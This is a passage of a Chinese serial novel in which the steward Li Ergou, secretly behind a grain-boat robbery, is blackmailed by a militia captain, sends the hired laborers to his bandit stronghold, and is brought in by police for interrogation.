李二狗心想,那晚张大发只是看到了自己的背影,难道他能认出自己? 这不可能!江东县和自己身材相似的男人没有一千,也有八百,他怎么可能认出来! 张大发是在诈他!诈他的目的是威胁他! “张队长不要开玩笑了,我们胡家大院目前虽然日子虽不好过,但也不至于让我出去扛麻袋!” “李管家,那晚我在码头看见一个人的背影和你一模一样!” 李二狗拍案而起。 “张队长,饭可以乱吃,话可不能乱说!” “呵呵,李管家你激动什么?我只是说有个人的背影和你很像而已!” 李二狗这才意识到自己失态了! 第231章 你和他们不是一伙的吗 “张队长,你这话到底是什么意思?” 张大发笑道:“李管家,虽说现在警察局正在满世界寻找抢劫之人,但你我是兄弟,你放心,我是绝对不会出去乱说的。” 很明显,张大发是在威胁李二狗。 李二狗在头脑中快速回想了一下那天晚上的情景,他确信自己并没有暴露。 但是李二狗犯了一个非常致命错误,当时为了雇短工,他找了一个工头,他不能确定那天晚上工头有没有看见自己。 如果被工头看见,李二狗就很难解释清楚自己为什么伪装成短工去扛麻袋! 李二狗决定先稳住张大发。 “张队长,关于你们民团和我们胡家大院合作之事,我个人是非常赞成的,你放心,我会再和我们大奶奶商议商议,三天后给你回复好吗?” 李二狗的示弱,更加重了张大发对李二狗的怀疑。 难道真的是李二狗干的? 他面上不显,笑着说道:“我都不知道该怎么感谢李管家了,你放心,兄弟我绝对不是一个吃独食之人,好处还是咱们兄弟俩分。” 李二狗笑道:“那我就多谢张队长了,我让他们准备点酒菜,今天咱们兄弟不醉不归。” 张大发站起来,说道:“民团那边还有很多事情等着兄弟我回去处理,你改天去我那,我请李管家喝茅台。” “哈哈,那我就不留张队长了,我送你出去。” “李管家,请留步,我等你的好消息。” 看着张大发离去的背影,李二狗突然觉得自己刚才态度转变的有些太突然了,如果他拒绝到底,张大发反而会打消对他的怀疑。 先是拒绝后又给对方承诺,那肯定是心里有鬼。 “李二狗啊李二狗,”他心里不停地埋怨自己,“你做事怎么能这么幼稚!” 想到这,李二狗没有停留,他直接骑马去了县城。 上次那个工头是李二狗在县城一处破旧的关帝庙偶然遇见的,那个人以前是江东杆子帮的一个小头目。 他再次来到关帝庙,里面空空如也,一个人都没有。 不过看里面的情形,应该是有人住。 李二狗坐在关帝庙门口一直等到半夜,一群人才回到关帝庙,那个工头就夹杂在他们中间。 “你找谁?” “我找他。”李二狗指着工头说道。 工头站出来,仔细打量着李二狗。 “奥,我记起来了,你就是那天那个雇主。” 李二狗从工头的言行举止中并没有发现什么异常,如果他那天晚上发现李二狗的话肯定不是这个神情。 “这位大哥好记性,确实是我。” “先生,你又要雇短工吗?这次要多少人?” 李二狗说道:“这位大哥,咱俩能不能单独聊聊?” 工头愣了一下,随即说道:“你们先进去吧。” 李二狗和工头来到一个角落里。 “大哥,敢问怎么称呼?” “我叫秀才,先生,你找我到底什么事?” “秀才大哥,”李二狗神情严峻,“相信你也听说了,那天晚上的两艘货船在半路上被人抢劫了。” 秀才不知道李二狗的底细,不敢随便表露自己态度。 “是啊,我也听说了,实在是可惜,那么多小麦,哎……” “现在警察怀疑歹徒就是你们这些当晚扛活的人。” “什么?他娘的,警察怎么能血口喷人呢?我们就是想干也得有这个本事才行。” “真不是你们做的?” 秀才高声嚷道:“先生你这话什么意思?当然不是我们做的!” 李二狗说道:“秀才大哥,你不要激动,我没有怀疑你们。” “先生,我们行的端做得正,没做亏心事,不怕鬼敲门,那些警察休想平白无故地往我们头上扣屎盆子!” “秀才大哥,你糊涂啊,你知道那些粮食是谁的吗?” “当然是县政府的,除了政府,谁还能有那么多粮食?” “哎,秀才大哥,你太幼稚了,现在灾情这么严重,如果那些粮食是县政府的,政府不拿出来赈灾,怎么还往外运呢?” “你说的确实有道理,”秀才沉吟道,“那是谁的?” 李二狗冷哼一声,问道:“江东县谁最大?” “当然是县长,”秀才惊讶不已,“你是说那些粮食都是县长的?” “让你猜对了,就是县长大人的!” 秀才说道:“怪不得人家都说三年清知府,十万雪花银,这些当官的,只顾着自己贪污腐败,根本不顾及我们这些普通老百姓的死活,粮食被抢了活该!” 秀才说完,才意识到自己不该在李二狗面前说这些话,既然李二狗当初来雇人,那他肯定也是政府的人,说不定还是县长的狗腿子! “先生,你找我到底什么事?” “秀才大哥,我刚才已经说过了,现在警察怀疑歹徒就是你们这些当晚扛活的人。” “他们有证据吗?没有证据他们难道还敢随便抓人吗?” “秀才大哥,你怎么还是这么糊涂啊,这年头警察抓人还需要证据吗?” 秀才沉默了,警察抓人确实不需要证据,他们骑在百姓头上作威作福惯了,百姓在他们眼中不过是任人宰割的牛马。 “可他们抓我们这些身无分文的乞丐有什么用?” “你想想,县长损失了那么多粮食,他能不生气吗?他已经严令警察局限期破案,那些警察要是破不了案,头上的大盖帽就保不住了,肯定得找个替死鬼。” “哼,那正好,我们这些人吃了上顿没下顿,干脆去吃吃牢饭,也省得到处要饭了。” “秀才大哥,你太糊涂了,你以为那些警察会把你们抓进去?别做梦了,他们绝对不会给你们开口说话的机会。” “不让我们开口说话?他们想怎么样?” 李二狗冷笑道:“怎么样?只有死人才不会说话!” 秀才吓得呆若木鸡。 “这不是草菅人命吗?警察怎么能这么干!” “他们要的只是破案,他们完全可以说你们拒捕被当场击毙!你们连喊冤的机会都没有!” “他娘的,这群警察真是坏透了!”秀才突然意识到不对,他盯着李二狗,吓得不禁后退两步,“先生,你和他们不是一伙的吗?为什么要告诉我这些?” 第232章 杆子帮 李二狗叹息一声,说道:“实不相瞒,你们是我找来的,如果警察最后认定是你们干的,我担心会连累到我。” “那先生的意思是?” “趁现在他们还没有找到你们,你们赶紧离开这里,走得越远越好。” 秀才以前是杆子帮在江东的头目,离开江东,他实在不知道该去哪里。 “我秀才在江东生活了大半辈子,没想到临了还得背井离乡,哎!真给我们杆子帮丢人呐,要是以后遇见我们大杆子,我这张脸真是没地放了。” “秀才大哥,你是杆子帮的?” 当初民国成立之后,杆子帮大杆子便解散了杆子帮,让弟兄们回家种地养老。 这一闹灾荒,原来江东杆子帮的兄弟又找到秀才,大家凑在一起,抱团取暖。 李二狗小时候听村里老人讲过杆子帮的故事,他们除恶扬善、扶贫济弱的故事李二狗耳熟能详。 秀才深深地叹了一口气,说道:“哎,我实在是没脸承认自己是杆子帮的,我给杆子帮丢人了!” “秀才大哥,我从小就佩服你们杆子帮,除恶扬善,扶贫济弱,只是不知道为什么这些年没有了你们动静?” “哎,前些年,政府不允许民间拥有私人武装,我们大杆子也想让兄弟们回家过几天太平日子,便解散了杆子帮。这不今年闹饥荒,兄弟们在家实在过不下去了,又回来找我,我也是无能啊,不能让兄弟们有口饱饭吃。” 李二狗从小便佩服杆子帮的人,在他心目中这些人都是英雄好汉,如今因为自己的原因,害得他们背井离乡,心下便有了收纳之意。 “秀才大哥,你们有多少人?接下来有什么打算?” “原来人多,可这段时间饿死了不少人,现在只剩下二十多号人了,如果警察真的要拿我们当替罪羊,我们只能离开这里了,我自己倒没什么,但我不能害了这些兄弟。” “秀才大哥,你听说清风寨吗?” “清风寨?听说过,那不是土匪窝吗?” “我听说现在清风寨和以前不一样了,他们劫富济贫、锄强扶弱,是一支很有组织性纪律性的队伍,你们可以考虑一下上山投奔。” “哎,多谢先生好意,不过我们杆子帮有祖训,一旦加入杆子帮,终身不能当土匪。” “清风寨从不欺压良善、为非作歹,他们和普通的土匪不一样。” “就是再不一样不也是土匪吗?土匪不靠打家劫舍靠什么生存?” “现在是特殊时期,你带这么多人背井离乡,恐怕用不了多久都得饿死在路上,我在清风寨有相熟的同乡,我可以介绍你们进去。” 秀才犹豫了,上山当土匪至少可以解决兄弟们的温饱问题,可是当了土匪又违背了杆子帮的祖训。 “秀才大哥,其实清风寨现在真的不是土匪窝,你们可以去看看,如果不合适可以再离开。” 秀才凝视着李二狗,问道:“先生,你到底是什么人?” “我是什么人并不重要,重要的是我敬佩你们杆子帮。” “可我们这么多人,人家清风寨能收留我们吗?我知道,现在灾情严重,清风寨的日子肯定也不好过。” “放心吧,秀才大哥,我和他们老大是同乡,他们肯定会卖我一个面子,而且他也敬佩你们杆子帮,一定会收留你们的。” “先生,这么大的事情我一个人也决定不了,我还得问问兄弟们的意见。” “秀才大哥,事不宜迟,不管你们去不去清风寨,这里肯定是待不下去了,我建议你们今晚就离开,免得夜长梦多。” “好,我这就去和兄弟们说,我秀才多谢了。” 李二狗从兜里掏出二十块大洋塞到秀才手中。 “先生你这是做什么?无功不受禄,万万使不得!” “秀才大哥,你听我说,上次雇你们没给工钱,其实我也是身不由己,这二十块大洋你们就留着路上用吧。” 秀才攥着大洋,感动不已。 “那就谢谢先生了。” “秀才大哥,不管你们去不去清风寨,我都会和他们提前打好招呼,我建议你们还是去看看,这年头能活下去才是最重要的。” “我会好好考虑的。” “保重,我们后会有期!” “后会有期!” 看着李二狗离去的背影,秀才虽有些不理解他的所作所为,但想到如今他们一无所有,实在是没有担心的必要。 秀才为了以防万一,让兄弟们分散出城,他已决定带兄弟们投奔清风寨。 李二狗本想去找孙竹刚打探一下情况,但想到现在已是深夜,便打消了这个主意,他担心孙竹刚会怀疑他。 他骑马直接上了清风寨。 见到李二狗,李素文开心极了,她直接给李二狗来了一个饿虎扑食。 李二狗笑道:“你小点动静,望冬还在隔壁。” 李素文一张俏脸红扑扑的。 “你讨厌!” 两个人腻歪了一番才算作罢。 “问了吗?望冬怎么说?” “问了,她说自己还是舍不得离开我。” “没想到望冬这丫头对你感情这么深。” “是啊,望冬身世很可怜,有时候我真想让你把她一起娶了。” 李二狗笑道:“我倒是愿意,就怕你吃醋。” “你讨厌!”李素文小粉拳捶打着李二狗的胸口,“我是那么小气的人吗?我只是不想让望冬觉得委屈,她和我在一起,永远觉得自己是个丫鬟。” 李二狗抱紧李素文,说道:“素文,你真善良,望冬跟着你,也是她的福分。” “我只是希望她能找到自己的幸福,就像我一样,嘻嘻。” 李二狗把李素文抱得更紧了,他内心对她一直怀有一种深深的愧疚感,他觉得自己对不起她的深情! “那望冬答应了吗?” “答应了,我查了查黄历,下个月初八是个好日子,等到那天就让老三把望冬接过去吧,这样也算了了咱们的一桩心事。” 李素文说完竟躺在李二狗怀里抽泣起来,小小的身体蜷缩在李二狗怀里发抖。 李二狗只能紧紧抱着她,内心的千言万语竟一句安慰话也说不出来。 第233章 李素文说服李二狗 一大早,山寨里就吵吵起来。 “嫂子在家吗?” 李二狗听出是宋孬蛋的声音,便打开院门。 “狗哥,你什么时候回来的?” “昨晚回来的,外边吵吵什么的?” “我本想着向嫂子请示一下,正好你在,外边来了一群人,说是要投奔咱们清风寨,还说是认识你的同乡推荐他们来的。” 李二狗没想到秀才他们这么快就赶到了。 “孬蛋,有件事我还没来得及和你们商量,你听说过杆子帮吗?” “听说过啊,杆子帮除恶扬善,扶贫济弱,小时候我经常听他们的故事,不过这些年有些销声匿迹了。” “要来投奔的这群人就是杆子帮。” “啊?狗哥,不会吧?你怎么知道他们是杆子帮?我看他们就是一群乞讨要饭的,怎么可能是杆子帮的英雄?” “孬蛋,我说你小子没见识你还不高兴,杆子帮不就是一群叫花子吗?这你都忘了?” 宋孬蛋摸着脑袋尴尬一笑:“你不说我还真忘了,可杆子帮销声匿迹这么多年,他们说自己是杆子帮,咱们可不能就轻易相信呐。” 在处理杆子帮这件事上,李二狗确实有些轻率。 心急则乱,李二狗最近这段时间是有些着急了。 “你说得对,咱们是不能轻信他们,但人家现在落难来投奔咱们,咱们可不能把他们拒之门外,省得外边人说咱们清风寨容不下英雄好汉,你说呢?” “狗哥的意思是同意他们入伙?” “同不同意他们入伙暂且不说,我看咱们先把他们留下来,先观察一段时间再说。” “那好,我现在就去告诉他们。” “还有,那个领头的叫秀才,和我认识,你可千万别说漏了嘴,现在还不能让他知道我的真实身份。” 宋孬蛋说道:“狗哥,我看你以后还是别回胡家大院了,咱们兄弟一起在山寨大碗喝酒大块吃肉岂不快哉?省得你每次回山寨都得蒙着面,兄弟们私下都在议论你呢。” “议论我什么?” “嘿嘿,我说了你可别不高兴。” “有话快说,有屁快放!” “他们说你爱装逼!嘿嘿,这可不是我说的。” “少他娘的扯淡,快去办正事,你嘱咐弟兄们,对杆子帮这群人客气点,但是也要注意保持距离。另外,你忙完这件事下山去打探打探他们的底细。” “放心吧,狗哥,我去了。” 李二狗回到屋里,问道:“孬蛋经常来问你事情?” “是啊,每次我都告诉他,山寨的事不用问我,我又不懂,再说,我自己是什么身份我心里有数,我才不会掺和你们山寨的事。” 李二狗对宋孬蛋的态度十分满意,当然宋孬蛋也有自己的小九九,他遇事就来请示李素文的事早晚也会传到李二狗耳朵里。 他玩笑道:“你是清风寨的压寨夫人,他们对你尊重一些也是应该的。” “哼,我才懒得管你们的事,我管好我们娘子军就行了。” 提到娘子军,李二狗想到一些事情。 “素文,听说你现在把娘子军带得不错,都学会放枪了?” “嘻嘻,你都听说了?我一定要把这支娘子军训练成一支有战斗力的队伍,至少不能比你们男人差。” “意思意思就行了,你可别当真啊,你见过哪个女人舞刀弄枪的?不小心在伤着自己就有些得不偿失了。” “哼,你看不起女人!谁说女人不能舞刀弄枪?古有花木兰替父从军,今有娘子军扛枪为自己,你可千万不要小瞧了我们。” 李二狗怀疑李素文走火入魔了。 “素文,你听我说,咱们当初成立这支娘子军是为了山寨兄弟们能讨个媳妇,你这天天舞刀弄枪的,她们哪还有心思在家相夫教子啊?” “哼,说到底你还是瞧不起我们女人,总有一天我要让你对我们刮目相看。” “我没有瞧不起你们女人,但是男女是有分工的,女人嫁给男人生孩子是天经地义的。” 话刚说出去,李二狗就意识到自己戳到李素文痛处了,不能生孩子是她心里的伤疤,李二狗恨不得扇自己一个大耳刮子。 好在李素文并没有在意,她只是对李二狗的态度非常不满意。 “二狗,我告诉你,男人女人都是一样的,我们女人照样可以扛枪保护自己。” 李二狗心想,李素文新鲜劲还没过去,现在他说什么她都听不进去,还是交给时间吧。 “好吧,你执意要把她们训练成虎狼之师我也没有办法,你就不怕你们这群母老虎嫁不出去吗?哈哈!” “我……我打你,让你胡说。”李素文一脚踢在李二狗的屁股上,李二狗故意疼得龇牙咧嘴,训练还真有成效。 李素文说道:“不开玩笑了,我给你说点正经的。” “说吧,说完正经的咱们再说不正经的,嘿嘿。” “我没和你开玩笑,你正经点。” 李二狗只好收起笑容,说道:“好好,你说吧,什么正经事?” “通过最近这段时间的训练,我发现对于我们女人来说,步枪有点太长了,使用起来也不方便,我想着你能不能多买些驳壳枪,我们姐妹都用驳壳枪。” “姑奶奶,你知道一支驳壳枪多少大洋吗?你这两片嘴唇子上下一动倒是怪容易。” “怎么?这点大洋都舍不得?李二狗,我没想到你这么小气!哼!” 李二狗当然不是舍不得大洋,他只是不想李素文瞎胡闹。 还每人一把驳壳枪,那还不如每人发一把冲锋枪,突突起来就厉害。 女人毕竟是女人,早晚都得嫁人,瞎折腾什么劲! “素文,你听我说,我不是舍不得大洋,是我担心你累着,再说,她们也不一定愿意。” “怎么不愿意?我一和她们说,她们开心得不得了,二狗,我觉得你不懂我。” 李二狗把李素文揽在怀中,柔声安慰道:“谁说我不懂你?我只是心疼你,你看你这白白嫩嫩像煮熟鸡蛋白一样的小手,我怎么舍得你舞刀弄枪?” “可我愿意啊,人最开心的不就是做自己愿意做的事吗?” 李素文这一句打动了李二狗。 男人总是打着为女人好的名义替女人做决定,可他们却总是忽略了女人真正的需求。 第234章 张大发狗急跳墙 李二狗通过吴有德购买的枪支弹药已经送到胡家大院,张二驴正组织家丁进行训练,胡家大院的守卫力量得到了空前加强。 此时,再与凤凰镇民团进行合作已经完全没有必要。 三天后,一直没有等到消息的张大发再次来到胡家大院。 李二狗故意躲着不见他,让张二驴出面接待。 “二驴,你们李管家的架子可真是越来越大了。” 张大发翘着二郎腿,根本不把张二驴放在眼里。 张二驴作为胡家大院的协管,也是有一定身份地位的人,张大发却直呼其名,不过他始终表现出一副恭敬的态度。 “张队长,您这是说得哪里话?我们李管家正好有事出去了,昨天晚上他还说要亲自去凤凰镇拜访您。” “呵呵,你们胡家大院家大业大,我知道,你们看不上我们一个小小的凤凰镇民团,不过人一定得讲信誉,出尔反尔伤害的可是你们胡家大院的名声,你说呢,二驴?” 张二驴故意装糊涂。 “张队长,我们胡家大院一向说话算话,不知道您说得出尔反尔指的是什么?” “呵呵,二驴,你小子和我装糊涂是不是?跟着你们李管家就不学好。” 张二驴依然是一副恭敬的态度。 “张队长,有话您不妨直说,如果我们有什么做得不对的地方,我们一定改正。” “你们李管家真没给你说?” “张队长,我真的不知道您说的是什么事,你告诉我,回头我告诉李管家。” “三天前,李管家在这里亲口答应我,说向你们大奶奶汇报你们胡家大院和我们民团联防联保的事情,难道他都忘了?” “奥,原来是这件事啊,张队长,这事怪我,早上李管家出门前特意交代,让我亲自到凤凰镇跑一趟,告诉您我们大奶奶的决定,没想到我这还没来得及去,您就来了。” 张二驴这话倒显得张大发心急了,他略显尴尬地说道:“你们大奶奶什么决定?” “实不相瞒,张队长,我们胡家大院自从老爷生病住院之后,一直入不敷出,今年又恰巧赶上灾年,租子根本收不上来,现在都快没米下锅了。” “什么?地主家也没有余粮了?呵呵,二驴,你上坟烧报纸,糊弄鬼呢?谁不知道你们胡家大院家大业大,那点钱对你们来说,不过是九牛一毛罢了。” “哎呀,张队长,去年胡家大院被土匪抢劫一空,在整个江东县谁人不知?我真的没有骗你!” “瘦死的骆驼比马大,再说你们就不怕被土匪盯上吗?这年头,土匪发起狠来可是连人都吃!” “张队长,您可别吓唬我们,不过即使真有事,凭您和我们李管家的关系,也不能见死不救不是?” “呵呵,我和你们李管家还有关系吗?他先不仁,就别怪我不义了,告辞!” “张队长,吃完午饭再走呗,我们李管家说不定下午就回来了。” “回头告诉你们李管家,要想人不知,除非己莫为。” 看着张大发离去的背影,张二驴嘴角露出一丝鄙夷的神色。 “李管家,这个张大发不会狗急跳墙,做出什么对咱们胡家大院不利的事情吧?” “二驴,最近一定要加强防守力量,二十四小时不能离岗,尤其是晚上,十点之后一律不许开院门,把那两挺机枪都架到角楼上。” 李二狗觉得自己在处理张大发这件事情上做得有些欠妥,他不应该躲着张大发,对于张大发这种人,给他一点好处也许事情就解决了,宁得罪君子,不得罪小人。 不过一星半点也满足不了张大发的胃口,关键还是李二狗吃软不吃硬,他最痛恨的就是别人威胁自己。 李二狗赶到县城,来到孙竹刚家里。 严婆惜见到李二狗,两眼放光。 “二狗兄弟,你这些天去哪了?嫂子都想死你了,快进屋。” “嫂子,先别急,我有急事找大哥,你快打电话让大哥回家一趟。” 严婆惜早已急不可耐。 “二狗,什么事情能比咱俩的事还着急?你也跟我进屋,忙完了我再给你大哥打电话。” 说着就把李二狗往卧室里拽。 “嫂子,十万火急,你快去给大哥打电话,大哥赶回家也得二十分钟,咱们有时间。” 严婆惜这才去给孙竹刚打电话。 接电话的是一个男子,并不是孙竹刚。 听到是严婆惜,对方热情地说道:“是嫂子啊,孙局长出去了,没在办公室。” 李二狗轻轻说道:“问问去哪了?什么时候回来?” “他去哪了?什么时候回来?”严婆惜问道。 “好像是去仙人洞镇了。” 李二狗一听,孙竹刚应该是去找自己了。 严婆惜挂断电话,有些迫不及待地说道:“他不回来正好,咱们时间更充裕些。” 李二狗此时哪还有心情和严婆惜腻歪。 “嫂子,大哥去仙人洞镇肯定是去找我,我得赶紧赶回去,改日我一定好好补偿你。” 李二狗说完就走,急得严婆惜直跺脚。 “什么事也不急在这十几分钟啊?哎,真气人!” 李二狗骑马往回赶,在半路上遇见一辆警车。 车在疾驰中突然停了下来,孙竹刚从车里走了下来。 “大哥!我这到县城去找你,他们说你去仙人洞镇了,我便急着往回赶。” “二狗兄弟,我这找不着你,都快急死了,出事了。” “出什么事了?” “凤凰镇民团队长张大发你熟悉吧?” 李二狗没想到张大发的动作这么快,幸好他提前做了准备。 “认识,不过不是很熟悉,怎么了?” “他把你举报了!” “举报我什么?” “举报你抢劫县政府的小麦。” “放他娘的狗屁!这个张大发什么时候变成疯狗了?见谁都咬!” “二狗兄弟,这里没有外人,你和大哥说实话,你到底有没有做?” “大哥,我怎么可能去做这种事情?胡家大院又不缺粮食?” “可张大发说得言之凿凿……” 孙竹刚直视着李二狗的眼睛,想从他的眼睛里发现一丝端倪。 第235章 光明正大地做个土匪不好吗? 李二狗痛骂道:“张大发想敲我们胡家大院的竹杠,我没同意,他就挟私报复,实在是小人行径,你可千万不能相信啊。” “兄弟,咱们是什么关系我心里有数,不然我也不会这么急着找你。现在问题的关键是张大发直接找的牛得水,牛得水若获至宝,这时候估计已经把消息报告给了王正直,你得做好心理准备才是。” 李二狗说道:“我身正不怕影子歪,他们也不能没有证据就胡乱冤枉好人吧?” 孙竹刚一直怀疑问题出在雇佣的那群短工身上,而那群短工正好是李二狗雇的,现在李二狗又被人举报,这一切实在是太巧合了。 “二狗兄弟,那些短工你是在哪里雇的?” “城西的关帝庙。” “那群人到底有没有问题?” “大哥,我就是在关帝庙那边遇到一个人,他答应帮忙找一群短工,至于那些人有没有问题,我实在是不知道啊。” “不管那些人有没有问题,一定不能让牛得水找到他们。” “他们就是一群乞讨的人,居无定所,应该不好找。” 听李二狗如此说,孙竹刚就放心了。 “二狗兄弟,你也别担心,你和王县长的关系非比寻常,他牛得水并不知晓,我相信王县长不会没有证据就冤枉你。” 李二狗倒不担心王正直会把自己怎么样,他担心王正直会趁机敲竹杠。 不过对付王正直这样的人,李二狗倒是颇有心得。 “王县长那边我倒并不担心,我是担心牛得水抓住此事大做文章,我向王县长推荐你的事,在县里可都传开了。大哥,他牛得水明着是对我开刀,其实是想放你的血。” “哼,牛得水想借着此事大做文章,我绝不会让他得逞。” “大哥,接下来我该怎么办?” “你先回去,我估计牛得水很快就会派人叫你去局里问话,不过你放心,有我在,他不敢乱来。” “好,我都听大哥的。” “我得回去了,回去晚了恐引起他的怀疑。” 两人分别后,李二狗直接去了清风寨。 此事的关键在于牛得水,如果牛得水借此机会非要把罪名安在李二狗身上,还真得很棘手。 李二狗知道,警察局根本就不是一个能讲理的地方! 但他绝不会坐以待毙! “孬蛋,我记得山寨有个兄弟擅长模仿别人写字是吗?” “是啊,怎么了,狗哥?” 李二狗便把自己刚刚想到的一个计划告诉了宋孬蛋。 “孬蛋,此事关系重大,一定不能有任何闪失。” “放心吧,狗哥,我现在就带他去县城。” “还有,凤凰镇民团队长张大发举报我抢劫轮船,警察局应该会找我去问话。” “这狗日的张大发,老子今晚就带人办宰了他。” “万万不得,这时候张大发出事反而显得我做贼心虚。” “那怎么办?我们不能眼睁睁看着你进警察局受苦啊,要不你还是待在山寨别下山了。” “我不下山不更显得我做贼心虚吗?” “哪怕什么?光明正大地做个土匪不好吗?” 李二狗很多事情无法和宋孬蛋解释。 “现在还不到时候,你就记住,无论我在警察局发生什么,你都不要带弟兄们下山去救我,听明白了吗?” “狗哥,这怎么行?你出了事我们肯定要去救你。” “你放心,凭我和孙竹刚的关系,我不会有事,山寨就这几个人想去劫狱,无异于送死,切记不可!” 宋孬蛋心想,到时候真出了事,就由不得你同不同意。 “好,我听你的。” “快去办吧。” 李二狗下山回到胡家大院。 张二驴正在院门口翘首以望。 “狗哥,刚才县警察局孙局长来找你,我说你去县城了,看样子他挺着急的。” 李二狗“嗯”了一声,直接进了院门,张二驴赶紧跟了上去。 “我在路上碰到他了。 在张二驴的固有印象中,警察找你就是天大大事。 “什么事啊?这么着急?” “张大发向县里举报我劫了县政府装粮食的轮船。 “这条疯狗,这不是血口喷人吗?我一定饶不了他!” “二驴,待会警察局可能会来人把我带走。” 张二驴发狠道:“那我现在就去集合人,大不了和他们拼了,一定不能让警察把你带走!” 李二狗盯着张二驴,张二驴被他的眼神吓了一跳。 “怎么了,狗哥?我做得不对吗?” 李二狗拍了拍他的肩膀,说道:“二驴,不是你做得对不对,是你不能这么做。” “可我也不能眼睁睁地看着警察把你抓走啊?进了警察局,铁人都得脱层皮!” “公然和警察作对,会害死整个胡家大院的。” “可……狗哥,要不然你逃走吧,先出去避避风头再说。” 李二狗盯着张二驴不说话。 “狗哥,你可别多想,我没有那个意思,不然让我天打雷劈,不得好死!” 李二狗笑了笑,说道:“二驴,我要是不信任你,当初我能让你当协管吗?你放心好了,警察只是叫我去问一问情况,不会有事的。” “狗哥,要不然咱们提前打点打点那些警察?” “先等等再说吧!二驴,今天晚上一定要加强大院的防守,我怕有人会趁机来打劫。” “狗哥放心,今晚我亲自带队,所有人取消轮休,全部到岗到位,就是一只耗子也进不来。” “如果遇到危险,什么都不要管,就拿子弹招呼他们。” “我记住了,狗哥。” “还有,我的事先不要告诉大奶奶。”李二狗想了想,转而说道:“算了,还是我去和她说一声,这事想瞒也瞒不住。” 李二狗来到于兰芝院子里,于兰芝正抱着梦瑶在屋檐下晒太阳。 “梦瑶,快看看是谁来了呀?” 胡梦瑶“咯咯”笑了起来,听得李二狗心里一阵温暖。 “让我来抱抱。” 李二狗接过梦瑶抱在怀里。 “二狗,你看闺女那眉眼,长的可真像你。” “兰芝,这话你可别说秃噜了嘴,小心隔墙有耳。” “怕什么?胡家大院还不是咱说了算?再说,我就在自己院里说说,看把你紧张的。” 第236章 李二狗被抓 李二狗没有说什么,他招手把迎春叫过来,把梦瑶交给她。 “迎春,你抱大小姐去屋里,我和大奶奶说点话。” 迎春抱着胡梦瑶进了屋,于兰芝问道:“什么事这么神神秘秘的?” “我被人告了,待会警察可能会来带我去警察局问话。” 于兰芝一听,当时吓傻了。 “谁告得你?告你什么?” “没事的,你放心,是诬告,我去警察局解释清楚就行了。” “警察那里能解释清楚吗?要不咱们还是跑吧?”于兰芝急得哭了起来。 “兰芝,你听我说,真的没事,我去去就回,怕你担心才来告诉你一声。” “真的没事?” “真的没事!” 于兰芝靠在李二狗身上,柔声说道:“那就好,二狗,你可不能丢下我们娘俩,没有你,我和梦瑶都活不了了。” “放心,我不会丢下你和梦瑶的。” 李二狗被警察带走的消息,像一阵风一样瞬间传遍了整个胡家大院。 “李管家到底犯了什么罪?怎么被警察局带走了?” “警察局带走一个人还需要理由吗?” “那李管家还能回来吗?” “这谁知道?不过,我分析应该够呛,你见过几个进了警察局还能安然无恙出来的?” “我听说李管家杀了人,这次应该回不来了!” “啊?杀人那可得偿命啊!那咱们怎么办?” “还能怎么办?走一步看一步呗!” 张二驴听着大家议论纷纷,没想到消息传的这么快还这么邪乎。 他迅速把家丁和丫鬟们聚集到一起。 “相信大家都已经听说李管家的事了。” 下面顿时骚动起来,开始窃窃私语。 张二驴目光锐利地环视一圈,大家才安静下来。 “警察带李管家回局里只是了解一些情况,他很快就会回来,没想到却传出这么多谣言,这让我很痛心!” 张二驴再次目光锐利地环视一圈。 “是谁我就不点名了,如果有人想离开胡家大院,现在就站出来,我马上发路费。” 大家鸦雀无声。 “既然大家都不想离开,我不希望再听到任何谣言,否则立马给我滚出胡家大院,大家都听明白了吗?” “听明白了!” “护院家丁留下,其他人解散。” 张二驴精心挑选了十名家丁,他们个个都是身强体壮、肌肉发达。 “现在是特殊时期,我来布置一下任务。今天晚上,所有人全部取消轮休值夜班,必须确保胡家大院的绝对安全。” “是!” “好,现在大家都回去休息,晚上七点务必全员到位,解散!” 张玲玉听到风声,来到于兰芝院子里。 “大姐,李二狗到底怎么回事?他怎么被警察带走了?” 于兰芝故意说道:“我怎么知道他怎么回事?迎春刚刚告诉我,外边都在传他杀了人。” 张玲玉吓得脸都白了,李二狗要是出了事,她在胡家大院可就真得待不下去了。 “大姐,你可别吓我,你说得是真的?” “这还能有假?警察都上门了。” “大姐,你快点想想办法救救李管家啊。” “自作孽,不可活,李二狗要是真杀了人,他就得偿命,谁也救不了他!” 张玲玉没想到于兰芝如此狠心。 “大姐,他可是大小姐的亲爹,你就忍心看着他去死?” “张玲玉,你信口胡说什么?大小姐和李二狗有什么关系?再敢胡说,我立即把你赶出胡家大院。” “你……没想到你竟是一个提上裤子不认人的女人,李二狗真是瞎了眼。” 张玲玉摔门而出,于兰芝确信李二狗和张玲玉之间肯定有不可告人的秘密。 张玲玉直接找到张二驴。 “二奶奶,李管家只是说有人诬告他,具体发生了什么我也不清楚。” “他不是杀人?” “不是杀人!李管家怎么会杀人呢?” 张玲玉的心从嗓子眼终于回到肚子里。 “不是杀人就好,不是杀人就好。” 张二驴只知道李二狗和于兰芝有不清不楚的关系,这次从张玲玉对他的态度来看,他俩之间肯定也有说不清道不明的关系。 张二驴羡慕极了,像张玲玉这种人间极品女人,哪怕只是搂一搂、亲一亲,也死而无憾了。 “二奶奶,李管家不会有事的,您放心好了。” 张玲玉扭着纤细的腰肢走了,看得张二驴口水流得好长。 李二狗被带到警察局之后,牛得水亲自参加对李二狗的审问。 “李二狗,知道为什么把你带到警察局吗?” “牛局长,我这也纳闷呢,我正在家吃饭,你们就不由分说就把我带到这里来,我还想问您,到底为什么把我带到这里来?” 牛得水冷笑道:“李二狗,你接着演,继续给我装糊涂!我告诉你,到了这里,你休想蒙混过关,我有一万种办法让你开口。” 李二狗快速回想了一下,确认所有的风险点都已被他排除,他不怕牛得水的威胁。 “牛局长,咱们是老相识了,我是什么样的人您是了解的,咱们就别绕弯子了,有什么话您还是直说吧。” “哈哈,李二狗,要想人不知,除非己莫为,你以为自己做得神不知鬼不觉,其实早就被人暗中发现了。” “发现什么了?哎呀,牛局长,咱们时间都很宝贵,有什么话您就直说,何必这样绕来绕去呢?真是急死人了!” 其实牛得水对于张大发的举报并不是很相信,这么大的事情,李二狗一个小小的土财主家的管家根本做不到。 但李二狗和孙竹刚关系非同一般,如果能借着这次机会扳倒孙竹刚,自己就能坐稳警察局局长的位子。 “李二狗,你现在主动交代,我算你自首,否则就是罪加一等!” 李二狗依然表现出一副无辜的表情。 “牛局长,我真的什么都不知道。” 牛得水猛地一拍桌子,呵斥道:“哼,敬酒不吃吃罚酒!我问你,你是如何抢劫两艘轮船的?背后指使之人是谁?你的同伙还有谁?” 第237章 皮鞭子蘸盐水 